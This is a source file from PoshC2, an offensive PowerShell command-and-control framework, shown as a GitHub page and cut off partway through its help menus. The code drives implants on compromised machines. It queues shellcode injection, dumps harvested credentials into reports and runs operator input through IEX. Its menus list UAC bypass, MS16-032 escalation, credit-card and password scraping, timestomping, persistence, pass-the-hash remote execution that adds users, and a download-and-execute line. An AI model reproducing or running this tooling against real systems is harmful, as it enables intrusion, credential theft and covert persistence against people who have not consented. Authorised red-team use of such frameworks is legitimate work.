forked from nettitude/PoshC2_Old
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Implant-Handler.ps1
2412 lines (2285 loc) · 118 KB
/
Implant-Handler.ps1
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
<#
.Synopsis
Implant-Handler cmdlet for the PowershellC2 to manage and deliver commands
.DESCRIPTION
Implant-Handler cmdlet for the PowershellC2 to manage and deliver commands
.EXAMPLE
ImplantHandler -FolderPath C:\Temp\PoshC2-031120161055
#>
function Implant-Handler
{
[CmdletBinding(DefaultParameterSetName = "FolderPath")]
Param
(
[Parameter(ParameterSetName = "FolderPath", Mandatory = $false)]
[string]
$FolderPath,
[string]
$PoshPath
)
if (!$FolderPath) {
$FolderPath = Read-Host -Prompt `n'Enter the root folder path of the Database/Project'
}
# initiate defaults
$Database = "$FolderPath\PowershellC2.SQLite"
$p = $env:PsModulePath
$p += ";$PoshPath\"
$global:randomuri = $null
$global:cmdlineinput = 'PS >'
$global:implants = $null
$global:implantid = $null
$global:command = $null
$global:newdir = $FolderPath
[Environment]::SetEnvironmentVariable("PSModulePath",$p)
Import-Module -Name PSSQLite
Import-Module "$PoshPath\Modules\ConvertTo-Shellcode.ps1"
Import-Module "$PoshPath\C2-Payloads.ps1"
$c2serverresults = Invoke-SqliteQuery -DataSource $Database -Query "SELECT * FROM C2Server" -As PSObject
$defaultbeacon = $c2serverresults.DefaultSleep
$killdatefm = $c2serverresults.KillDate
$IPAddress = $c2serverresults.HostnameIP
$DomainFrontHeader = $c2serverresults.DomainFrontHeader
$ipv4address = $c2serverresults.HostnameIP
$serverport = $c2serverresults.ServerPort
$URLS = $c2serverresults.URLS
$EncKey = $c2serverresults.EncKey
$SocksURLS = $c2serverresults.SocksURLS
$Insecure = $c2serverresults.Insecure
$useragent = $c2serverresults.UserAgent
$Referer = $c2serverresults.Referer
$urlstring = $URLS
$newImplant = $urlstring -split ","
$newImplantURL = $newImplant[0] -replace '"',''
$Host.ui.RawUI.WindowTitle = "PoshC2 Implant Handler: $ipv4address Port $serverport"
$head = '
<style>
body {
font-family: Verdana, Geneva, Arial, Helvetica, sans-serif;
}
table {
table-layout: fixed;
word-wrap: break-word;
display: table;
font-family: monospace;
white-space: pre;
margin: 1em 0;
}
th, td {
text-align: left;
padding: 8px;
}
tr:nth-child(even){background-color: #f2f2f2}
th {
background-color: #4CAF50;
color: white;
}
p {
margin-left: 20px;
font-size: 12px;
}
</style>'
$header = '
<pre>
__________ .__. _________ ________
\_______ \____ _____| |__ \_ ___ \ \_____ \
| ___/ _ \/ ___/ | \ / \ \/ / ____/
| | ( <_> )___ \| Y \ \ \____/ \
|____| \____/____ >___| / \______ /\_______ \
\/ \/ \/ \/
================== www.PoshC2.co.uk ================
====================================================
</pre>'
function startup
{
Clear-Host
$global:implants = $null
$global:command = $null
$global:randomuri = $null
$global:implantid = $null
$dbresults = Invoke-SqliteQuery -DataSource $Database -Query "SELECT * FROM Implants WHERE Alive='Yes'" -As PSObject
$global:implants = $dbresults.RandomURI
# while no implant is selected
while ($global:randomuri -eq $null)
{
Clear-Host
Write-Host -Object ".___. .__. __ " -ForegroundColor Green
Write-Host -Object "| | _____ ______ | | _____ _____/ |_ ______" -ForegroundColor Green
Write-Host -Object "| |/ \\____ \| | \__ \ / \ __\/ ___/" -ForegroundColor Green
Write-Host -Object "| | Y Y \ |_> > |__/ __ \| | \ | \___ \ " -ForegroundColor Green
Write-Host -Object "|___|__|_| / __/|____(____ /___| /__| /____ >" -ForegroundColor Green
Write-Host -Object " \/|__| \/ \/ \/ " -ForegroundColor Green
Write-Host "============== v3.8 www.PoshC2.co.uk =============" -ForegroundColor Green
Write-Host ""
foreach ($implant in $dbresults)
{
$pivotimplant = $null
$randomurihost = $implant.RandomURI
$implantid = $implant.ImplantID
$im_arch = $implant.Arch
$im_user = $implant.User
$im_hostname = $implant.Hostname
$im_lastseen = $implant.LastSeen
$im_pid = $implant.PID
$im_sleep = $implant.Sleep
$im_domain = $implant.Domain
$pivot = $implant.Pivot
if ($pivot -eq "Daisy"){$pivotimplant = " D"}
if ($pivot -eq "Proxy"){$pivotimplant = " P"}
if ($randomurihost) {
if (((get-date).AddMinutes(-10) -gt $implant.LastSeen) -and ((get-date).AddMinutes(-59) -lt $implant.LastSeen)){
Write-Host "[$implantid]: Seen:$im_lastseen | PID:$im_pid | Sleep:$im_sleep | $im_user @ $im_hostname ($im_arch)$($pivotimplant)" -ForegroundColor Yellow
}
elseif ((get-date).AddMinutes(-59) -gt $implant.LastSeen){
Write-Host "[$implantid]: Seen:$im_lastseen | PID:$im_pid | Sleep:$im_sleep | $im_user @ $im_hostname ($im_arch)$($pivotimplant)" -ForegroundColor Red
}
else {
Write-Host "[$implantid]: Seen:$im_lastseen | PID:$im_pid | Sleep:$im_sleep | $im_user @ $im_hostname ($im_arch)$($pivotimplant)" -ForegroundColor Green
}
}
}
if (($HelpOutput) -and ($HelpOutput -eq "PrintMainHelp")){
print-mainhelp
$HelpOutput = $Null
}
if (($HelpOutput) -and ($HelpOutput -ne "PrintMainHelp")){
Write-Host ""
Write-Host $HelpOutput -ForegroundColor Green
$HelpOutput = $Null
}
$global:implantid = Read-Host -Prompt `n'Select ImplantID or ALL or Comma Separated List (Enter to refresh):'
Write-Host -Object ""
if (!$global:implantid)
{
startup
}
if ($global:implantid -eq "Help"){
$HelpOutput = "PrintMainHelp"
startup
}
elseif ($global:implantid -eq "?"){
$HelpOutput = "PrintMainHelp"
startup
}
if ($global:implantid.ToLower().StartsWith("createnewpayload")){
$global:implantid | IEX
$HelpOutput = "Created New Payloads"
}
elseif ($global:implantid.ToLower().StartsWith("set-defaultbeacon"))
{
[int]$Beacon = $global:implantid -replace "set-defaultbeacon ",""
$HelpOutput = "DefaultBeacon updated to: $Beacon"
Invoke-SqliteQuery -DataSource $Database -Query "UPDATE C2Server SET DefaultSleep='$Beacon'"|Out-Null
startup
}
elseif (($global:implantid -eq "automigrate-frompowershell") -or ($global:implantid -eq "AM"))
{
if (Test-Path "$FolderPath\payloads\Posh-shellcode_x86.bin"){
$bytes = (Get-Content "$FolderPath\payloads\Posh-shellcode_x86.bin" -Encoding Byte)
$base64 = [System.Convert]::ToBase64String($bytes)
$bytes_64 = (Get-Content "$FolderPath\payloads\Posh-shellcode_x64.bin" -Encoding Byte)
$base64_64 = [System.Convert]::ToBase64String($bytes_64)
$taskn = "LoadModule Inject-Shellcode.ps1"
$taskp = "`$Shellcode86 = `"$base64`";`$Shellcode64 = `"$base64_64`""
$taskm = "AutoMigrate"
$Query = 'INSERT
INTO AutoRuns (Task)
VALUES (@Task)'
Invoke-SqliteQuery -DataSource $Database -Query $Query -SqlParameters @{
Task = $taskn
}
Invoke-SqliteQuery -DataSource $Database -Query $Query -SqlParameters @{
Task = $taskp
}
Invoke-SqliteQuery -DataSource $Database -Query $Query -SqlParameters @{
Task = $taskm
}
$HelpOutput = "Added automigrate-frompowershell"
startup
} else {
$HelpOutput = "Error cannot find shellcode"
startup
}
}
elseif ($global:implantid -eq "L")
{
$autorunlist = Invoke-SqliteQuery -DataSource $Database -Query "SELECT * FROM AutoRuns" -As PSObject
foreach ($i in $autorunlist) {
$taskid = $i.TaskID
$taskname = $i.Task
$HelpOutput += "TaskID: $taskid | Task: $taskname `n"
}
startup
}
elseif ($global:implantid -eq "list-autorun")
{
$autorunlist = Invoke-SqliteQuery -DataSource $Database -Query "SELECT * FROM AutoRuns" -As PSObject
foreach ($i in $autorunlist) {
$taskid = $i.TaskID
$taskname = $i.Task
$HelpOutput += "TaskID: $taskid | Task: $taskname `n"
}
startup
}
elseif ($global:implantid -eq "nuke-autorun")
{
Invoke-SqliteQuery -DataSource $Database -Query "Drop Table AutoRuns"
$Query = 'CREATE TABLE AutoRuns (
TaskID INTEGER PRIMARY KEY AUTOINCREMENT NOT NULL UNIQUE,
Task TEXT)'
Invoke-SqliteQuery -Query $Query -DataSource $Database
startup
}
elseif ($global:implantid.ToLower().StartsWith("del-autorun"))
{
$number = $global:implantid.Substring(12)
$number = [int]$number
if ($number -match '^\d+$'){
Invoke-SqliteQuery -DataSource $Database -Query "DELETE FROM AutoRuns where TaskID='$number'"
$autorunlist = Invoke-SqliteQuery -DataSource $Database -Query "SELECT * FROM AutoRuns" -As PSObject
foreach ($i in $autorunlist) {
$taskid = $i.TaskID
$taskname = $i.Task
$HelpOutput += "TaskID: $taskid | Task: $taskname"
}
startup
}
else
{
$HelpOutput = "Error not an integer"
startup
}
}
elseif ($global:implantid.ToLower().StartsWith("add-autorun"))
{
$tasker = $global:implantid.Substring(12)
write-host "$tasker" -ForegroundColor Cyan
$Query = 'INSERT
INTO AutoRuns (Task)
VALUES (@Task)'
Invoke-SqliteQuery -DataSource $Database -Query $Query -SqlParameters @{
Task = $tasker
}
$HelpOutput = "Added autorun $tasker"
startup
} elseif ($global:implantid.ToLower().StartsWith("set-clockworksmsapikey")) {
[string]$apikey = $global:implantid -replace "set-clockworksmsapikey ",""
$HelpOutput = "APIKey updated to: $apikey"
Invoke-SqliteQuery -DataSource $Database -Query "UPDATE C2Server SET APIKEY='$apikey'"|Out-Null
startup
} elseif ($global:implantid.ToLower().StartsWith("set-clockworksmsnumber")) {
[string]$MobileNumber = $global:implantid -replace "set-clockworksmsnumber ",""
$HelpOutput = "APIKey updated to: $MobileNumber"
Invoke-SqliteQuery -DataSource $Database -Query "UPDATE C2Server SET MobileNumber='$MobileNumber'"|Out-Null
startup
} elseif ($global:implantid.ToLower().StartsWith("output-to-html"))
{
$allcreds = Invoke-SqliteQuery -Datasource $Database -Query "SELECT * FROM Creds" -As PSObject
$CredsArray = @()
foreach ($cred in $allcreds) {
$CredLog = New-object PSObject | Select CredsID, Username, Password, Hash
$CredLog.CredsID = $cred.CredsID;
$Credlog.Username = $cred.Username;
$CredLog.Password = $cred.Password;
$CredLog.Hash = $cred.Hash;
$CredsArray += $CredLog
}
$CredsArray | ConvertTo-Html -title "<title>Credential List from PoshC2</title>" -Head $head -pre $header -post "<h3>For details, contact X<br>Created by X</h3>" | Out-File "$FolderPath\reports\Creds.html"
$allresults = Invoke-SqliteQuery -DataSource $Database -Query "SELECT * FROM Implants" -As PSObject
$ImplantsArray = @()
foreach ($implantres in $allresults) {
$ImplantLog = New-Object PSObject | Select ImplantID, RandomURI, User, Proxy, Hostname, IPAddress, FirstSeen, LastSeen, PID, Arch, Domain, Sleep
$ImplantLog.ImplantID = $implantres.ImplantID;
$ImplantLog.RandomURI = $implantres.RandomURI;
$ImplantLog.User = $implantres.User;
$ImplantLog.Hostname = $implantres.Hostname;
$ImplantLog.Proxy = $implantres.Proxy;
$ImplantLog.IPAddress = $implantres.IPAddress;
$ImplantLog.FirstSeen = $implantres.FirstSeen;
$ImplantLog.LastSeen = $implantres.LastSeen;
$ImplantLog.PID = $implantres.PID;
$ImplantLog.Arch = $implantres.Arch;
$ImplantLog.Domain = $implantres.Domain;
$ImplantLog.Sleep = $implantres.Sleep;
$ImplantsArray += $ImplantLog
}
$ImplantsArray | ConvertTo-Html -title "<title>Implant List from PoshC2</title>" -Head $head -pre $header -post "<h3>For details, contact X<br>Created by X</h3>" | Out-File "$FolderPath\reports\Implants.html"
$allresults = Invoke-SqliteQuery -DataSource $Database -Query "SELECT * FROM CompletedTasks" -As PSObject
$TasksArray = @()
foreach ($task in $allresults) {
$ImplantTask = New-Object PSObject | Select TaskID, Timestamp, Hostname, ImplantID, Command, Output
$ImplantTask.TaskID = $task.CompletedTaskID;
$ImplantTask.Timestamp = $task.TaskID;
$ranuri = $task.RandomURI;
$Rest = Invoke-SqliteQuery -DataSource $Database -Query "SELECT * FROM Implants WHERE RandomURI='$ranuri'" -As PSObject
$ImplantTask.Hostname = $Rest.Hostname
$ImplantTask.ImplantID = $Rest.ImplantID;
$ImplantTask.Command = $task.Command;
$ImplantTask.Output = $task.Output;
$TasksArray += $ImplantTask
}
$TasksArray | ConvertTo-Html -title "<title>Tasks from PoshC2</title>" -Head $head -pre $header -post "<h3>For details, contact X<br>Created by X</h3>" | Out-File "$FolderPath\reports\ImplantTasks.html"
$allresults = Invoke-SqliteQuery -DataSource $Database -Query "SELECT * FROM C2Server" -As PSObject
$TasksArray = @()
foreach ($task in $allresults) {
$C2ServerDetails = New-Object PSObject | Select HostnameIP, DomainFrontHeader, KillDate, ServerPort, DownloadURI, URLS
$C2ServerDetails.HostnameIP = $task.HostnameIP;
$C2ServerDetails.DomainFrontHeader = $task.DomainFrontHeader;
$C2ServerDetails.KillDate = $task.KillDate;
$C2ServerDetails.ServerPort = $task.ServerPort;
$C2ServerDetails.DownloadURI = $task.DownloadURI;
$C2ServerDetails.URLS = $task.URLS;
$TasksArray += $C2ServerDetails
}
$TasksArray | ConvertTo-Html -title "<title>PoshC2 Server</title>" -Head $head -pre $header -post "<h3>For details, contact X<br>Created by X</h3>" | Out-File "$FolderPath\reports\C2Server.html"
$HelpOutput = "Created four reports in $FolderPath\reports\*"
} elseif ($global:implantid -eq "P")
{
start-process $FolderPath\payloads\payload.bat
$HelpOutput = "Pwning self......"
$HelpOutput
} elseif ($global:implantid.ToLower().StartsWith("pwnself"))
{
start-process $FolderPath\payloads\payload.bat
$HelpOutput = "Pwning self......"
$HelpOutput
} elseif ($global:implantid.ToLower().StartsWith("history"))
{
$History = Invoke-SqliteQuery -DataSource $Database -Query "SELECT * FROM History" -As PSObject
foreach ($item in $History)
{
$HelpOutput += $item.Command + "`n"
}
} elseif ($global:implantid.ToLower().StartsWith("show-serverinfo"))
{
$item = Invoke-SqliteQuery -DataSource $Database -Query "SELECT * FROM C2Server" -As PSObject
$HelpOutput += "Hostname: $($item.HostnameIP) `n"
$HelpOutput += "ServerPort: $($item.ServerPort) `n"
$HelpOutput += "EncKey: $($item.EncKey) `n"
if ($item.DomainFrontHeader) { $HelpOutput += "DomainFrontHeader: $($item.DomainFrontHeader) `n"}
$HelpOutput += "DefaultSleep: $($item.DefaultSleep) `n"
$HelpOutput += "KillDate: $($item.KillDate) `n"
$HelpOutput += "HTTPResponse: $($item.HTTPResponse) `n"
$HelpOutput += "FolderPath: $($item.FolderPath) `n"
$HelpOutput += "QuickCommand: $($item.QuickCommand) `n"
if ($item.ProxyURL) { $HelpOutput += "ProxyURL: $($item.ProxyURL) `n"}
if ($item.ProxyUser) { $HelpOutput += "ProxyUser: $($item.ProxyUser) `n"}
if ($item.ProxyPass) { $HelpOutput += "ProxyPass: $($item.ProxyPass) `n"}
$HelpOutput += "Sounds: $($item.Sounds) `n"
if ($item.APIKEY) { $HelpOutput += "APIKEY: $($item.APIKEY) `n"}
if ($item.MobileNumber) { $HelpOutput += "MobileNumber: $($item.MobileNumber) `n"}
$HelpOutput += "URLS: $($item.URLS) `n"
$HelpOutput += "SocksURLS: $($item.SocksURLS) `n"
$HelpOutput += "Insecure: $($item.Insecure) `n"
$HelpOutput += "UserAgent: $($item.UserAgent) `n"
if ($item.Referer) { $HelpOutput += "Referer: $($item.Referer) `n"}
$HelpOutput
} elseif ($global:implantid.ToLower().StartsWith("createproxypayload"))
{
$HelpOutput = IEX $global:implantid
$HelpOutput
} elseif ($global:implantid.ToLower().StartsWith("creds"))
{
$HelpOutput = IEX $global:implantid
$HelpOutput
} elseif ($global:implantid.ToLower().StartsWith("listmodules"))
{
Write-Host -Object "Reading modules from `$env:PSModulePath\* and $PoshPath\Modules\*"
$folders = $env:PSModulePath -split ";"
foreach ($item in $folders) {
$PSmod = Get-ChildItem -Path $item -Include *.ps1 -Name
foreach ($mod in $PSmod)
{
$HelpOutput += $mod + "`n"
}
}
$listmodules = Get-ChildItem -Path "$PoshPath\Modules" -Name
foreach ($mod in $listmodules)
{
$HelpOutput += $mod + "`n"
}
$HelpOutput
}
elseif ($global:implantid.Contains(","))
{
$global:cmdlineinput = "PS $global:implantid>"
break
} elseif ($global:implantid -eq "ALL")
{
$global:cmdlineinput = "PS $global:implantid>"
break
} else
{
$global:randomuri = Invoke-SqliteQuery -DataSource $Database -Query "SELECT RandomURI FROM Implants WHERE ImplantID='$global:implantid'" -as SingleValue
$global:cmdlineinput = "PS $global:implantid>"
}
}
}
$tick = "'"
$speechmarks = '"'
function print-mainhelp {
write-host `n "Main Menu: " -ForegroundColor Green
write-host "================================" -ForegroundColor Red
write-host " Use Implant by <id>, e.g. 1"-ForegroundColor Green
write-host " Use Multiple Implants by <id>,<id>,<id>, e.g. 1,2,5"-ForegroundColor Green
write-host " Use ALL Implants by ALL" -ForegroundColor Green
write-host `n "Auto-Runs: " -ForegroundColor Green
write-host "=====================" -ForegroundColor Red
write-host " Add-autorun <task>"-ForegroundColor Green
write-host " List-autorun (Alias: L)"-ForegroundColor Green
write-host " Del-autorun <taskID>"-ForegroundColor Green
write-host " Nuke-autorun"-ForegroundColor Green
write-host " Automigrate-FromPowershell (Alias: AM)"-ForegroundColor Green
write-host `n "Server Commands: " -ForegroundColor Green
write-host "=====================" -ForegroundColor Red
write-host " Show-ServerInfo" -ForegroundColor Green
write-host " History"-ForegroundColor Green
write-host " Output-To-HTML"-ForegroundColor Green
write-host " Set-ClockworkSMSApiKey df2----"-ForegroundColor Green
write-host " Set-ClockworkSMSNumber 44789----"-ForegroundColor Green
write-host " Set-DefaultBeacon 60"-ForegroundColor Green
write-host " ListModules " -ForegroundColor Green
write-host " PwnSelf (Alias: P)" -ForegroundColor Green
write-host " Creds -Action <dump/add/del/search> -Username <username> -password/-hash"-ForegroundColor Green
write-host " CreateNewPayload -hostname https://hostname.com -domainfrontheader <url> " -ForegroundColor Green
write-host " CreateProxyPayload -user <dom\user> -pass <pass> -proxyurl <http://10.0.0.1:8080>" -ForegroundColor Green
}
function print-help($t=0) {
if (($t -eq 1) -or ($t -eq 0)) {
write-host `n "Implant Features: " -ForegroundColor Green
write-host "=====================" -ForegroundColor Red
write-host " Beacon 60s / Beacon 10m / Beacon 2h"-ForegroundColor Green
write-host " Turtle 60s / Turtle 30m / Turtle 8h "-ForegroundColor Green
write-host " Kill-Implant"-ForegroundColor Green
write-host " Hide-Implant"-ForegroundColor Green
write-host " Unhide-Implant"-ForegroundColor Green
write-host " Invoke-Enum"-ForegroundColor Green
write-host " Get-Proxy"-ForegroundColor Green
write-host " Get-ComputerInfo"-ForegroundColor Green
write-host " Unzip <source file> <destination folder>"-ForegroundColor Green
write-host " Get-System" -ForegroundColor Green
write-host " Get-System-WithProxy" -ForegroundColor Green
write-host " Get-System-WithDaisy" -ForegroundColor Green
write-host " Get-ImplantWorkingDirectory"-ForegroundColor Green
write-host " Get-Pid" -ForegroundColor Green
write-host " Posh-Delete C:\Temp\svc.exe" -ForegroundColor Green
write-host " Get-Webpage http://intranet" -ForegroundColor Green
write-host " ListModules " -ForegroundColor Green
write-host " ModulesLoaded " -ForegroundColor Green
write-host " LoadModule <modulename>" -ForegroundColor Green
write-host " LoadModule Inveigh.ps1" -ForegroundColor Green
write-host " Get-UserInfo" -ForegroundColor Green
write-host " Invoke-HostEnum -All" -ForegroundColor Green
write-host " Find-AllVulns" -ForegroundColor Green
write-host " Invoke-Expression (Get-Webclient).DownloadString(`"https://module.ps1`")" -ForegroundColor Green
write-host " StartAnotherImplant or SAI" -ForegroundColor Green
write-host " Invoke-DaisyChain -name dc1daisy -daisyserver http://192.168.1.1 -port 80 -c2port 80 -c2server http://c2.goog.com -domfront aaa.clou.com -proxyurl http://10.0.0.1:8080 -proxyuser dom\test -proxypassword pass -localhost (optional if low level user)" -ForegroundColor Green
write-host " CreateProxyPayload -user <dom\user> -pass <pass> -proxyurl <http://10.0.0.1:8080>" -ForegroundColor Green
write-host " Get-MSHotfixes" -ForegroundColor Green
write-host " Get-FireWallRulesAll | Out-String -Width 200" -ForegroundColor Green
write-host " EnableRDP" -ForegroundColor Green
write-host " DisableRDP" -ForegroundColor Green
write-host " Netsh.exe advfirewall firewall add rule name=`"EnableRDP`" dir=in action=allow protocol=TCP localport=any enable=yes" -ForegroundColor Green
write-host " Get-WLANPass" -ForegroundColor Green
write-host " Get-WmiObject -Class Win32_Product" -ForegroundColor Green
write-host " Get-CreditCardData -Path 'C:\Backup\'" -ForegroundColor Green
write-host " TimeStomp C:\Windows\System32\Service.exe `"01/03/2008 12:12 pm`"" -ForegroundColor Green
write-host " iCacls C:\Windows\System32\ResetPassword.exe /grant Administrator:F" -ForegroundColor Green
write-host " Get-AllFirewallRules C:\temp\rules.csv" -ForegroundColor Green
write-host " Get-AllServices" -ForegroundColor Green
} if (($t -eq 0) -or ($t -eq 2)) {
write-host `n "Privilege Escalation: " -ForegroundColor Green
write-host "====================" -ForegroundColor Red
write-host " Invoke-AllChecks" -ForegroundColor Green
write-host " Invoke-UACBypass" -ForegroundColor Green
write-host " Invoke-UACBypassProxy" -ForegroundColor Green
Write-Host ' Get-MSHotFixes | Where-Object {$_.hotfixid -eq "KB2852386"}' -ForegroundColor Green
write-host " Invoke-MS16-032" -ForegroundColor Green
write-host " Invoke-MS16-032-ProxyPayload" -ForegroundColor Green
write-host " Get-GPPPassword" -ForegroundColor Green
write-host " Get-Content 'C:\ProgramData\McAfee\Common Framework\SiteList.xml'" -ForegroundColor Green
write-host " Dir -Recurse | Select-String -pattern 'password='" -ForegroundColor Green
} if (($t -eq 0) -or ($t -eq 3)) {
write-host `n "File Management: " -ForegroundColor Green
write-host "====================" -ForegroundColor Red
write-host " Download-File -Source 'C:\Temp Dir\Run.exe'" -ForegroundColor Green
write-host " Download-Files -Directory 'C:\Temp Dir\'" -ForegroundColor Green
write-host " Upload-File -Source 'C:\Temp\Run.exe' -Destination 'C:\Temp\Test.exe'" -ForegroundColor Green
write-host " Web-Upload-File -From 'http://www.example.com/App.exe' -To 'C:\Temp\App.exe' " -ForegroundColor Green
write-host `n "Persistence: " -ForegroundColor Green
write-host "================" -ForegroundColor Red
write-host " Install-Persistence 1,2,3 " -ForegroundColor Green
write-host " Remove-Persistence 1,2,3" -ForegroundColor Green
write-host " InstallExe-Persistence" -ForegroundColor Green
write-host " RemoveExe-Persistence" -ForegroundColor Green
write-host " Install-ServiceLevel-Persistence | Remove-ServiceLevel-Persistence" -ForegroundColor Green
write-host " Install-ServiceLevel-PersistenceWithProxy | Remove-ServiceLevel-Persistence" -ForegroundColor Green
write-host `n "Network Tasks / Lateral Movement: " -ForegroundColor Green
write-host "==================" -ForegroundColor Red
write-host " Get-ExternalIP" -ForegroundColor Green
write-host " Test-ADCredential -Domain test -User ben -Password Password1" -ForegroundColor Green
write-host " Invoke-SMBLogin -Target 192.168.100.20 -Domain TESTDOMAIN -Username TEST -Hash/-Password" -ForegroundColor Green
write-host " Invoke-SMBExec -Target 192.168.100.20 -Domain TESTDOMAIN -Username TEST -Hash/-Pass -Command `"net user SMBExec Winter2017 /add`"" -ForegroundColor Green
write-host " Invoke-WMIExec -Target 192.168.100.20 -Domain TESTDOMAIN -Username TEST -Hash/-Pass -Command `"net user SMBExec Winter2017 /add`"" -ForegroundColor Green
write-host " Net View | Net Users | Net localgroup administrators | Net Accounts /dom " -ForegroundColor Green
write-host " Whoami /groups | Whoami /priv " -ForegroundColor Green
} if (($t -eq 0) -or ($t -eq 4)) {
write-host `n "Active Directory Enumeration: " -ForegroundColor Green
write-host "==================" -ForegroundColor Red
write-host " Invoke-ACLScanner" -ForegroundColor Green
write-host " Get-ObjectACL -ResolveGUIDs -SamAccountName john" -ForegroundColor Green
write-host " Add-ObjectACL -TargetSamAccountName arobbins -PrincipalSamAccountName harmj0y -Rights ResetPassword" -ForegroundColor Green
write-host " Get-Netuser -admincount | select samaccountname" -ForegroundColor Green
write-host " Get-DomainUser -UACFilter NOT_PASSWORD_EXPIRED,NOT_ACCOUNTDISABLE -Properties samaccountname,pwdlastset | Export-Csv act.csv" -ForegroundColor Green
write-host " Get-Netgroup -admincount | select samaccountname" -ForegroundColor Green
write-host " Get-NetGroupMember `"Domain Admins`" -recurse|select membername" -ForegroundColor Green
write-host ' Get-NetComputer | Select-String -pattern "Citrix" ' -ForegroundColor Green
write-host ' Get-NetComputer -filter operatingsystem=*7*|select name' -ForegroundColor Green
write-host ' Get-NetComputer -filter operatingsystem=*2008*|select name' -ForegroundColor Green
write-host " Get-DomainComputer -LDAPFilter `"(|(operatingsystem=*7*)(operatingsystem=*2008*))`" -SPN `"wsman*`" -Properties dnshostname,serviceprincipalname,operatingsystem,distinguishedname | fl" -ForegroundColor Green
write-host ' Get-NetGroup | Select-String -pattern "Internet" ' -ForegroundColor Green
write-host ' Get-NetUser -Filter | Select-Object samaccountname,userprincipalname' -ForegroundColor Green
write-host ' Get-NetUser -Filter samaccountname=test' -ForegroundColor Green
write-host ' Get-NetUser -Filter [email protected]' -ForegroundColor Green
write-host ' Get-NetGroup | select samaccountname' -ForegroundColor Green
write-host ' Get-NetGroup "*BEN*" | select samaccountname ' -ForegroundColor Green
write-host ' Get-NetGroupMember "Domain Admins" -recurse|select membername' -ForegroundColor Green
write-host ' Get-NetShare Hostname' -ForegroundColor Green
write-host " Invoke-ShareFinder -Verbose -CheckShareAccess" -ForegroundColor Green
write-host " New-PSDrive -Name `"P`" -PSProvider `"FileSystem`" -Root `"\\bloredc1\netlogon`"" -ForegroundColor Green
write-host `n "Domain Trusts: " -ForegroundColor Green
write-host "==================" -ForegroundColor Red
write-host " Get-NetDomain | Get-NetDomainController | Get-NetForestDomain" -ForegroundColor Green
write-host " Invoke-MapDomainTrust" -ForegroundColor Green
write-host ' Get-NetUser -domain child.parent.com -Filter samaccountname=test' -ForegroundColor Green
write-host ' Get-NetGroup -domain child.parent.com | select samaccountname' -ForegroundColor Green
} if (($t -eq 0) -or ($t -eq 5)) {
write-host `n "Domain / Network Tasks: " -ForegroundColor Green
write-host "==================" -ForegroundColor Red
write-host " Invoke-BloodHound -CollectionMethod 'Stealth' -CSVFolder C:\temp\" -ForegroundColor Green
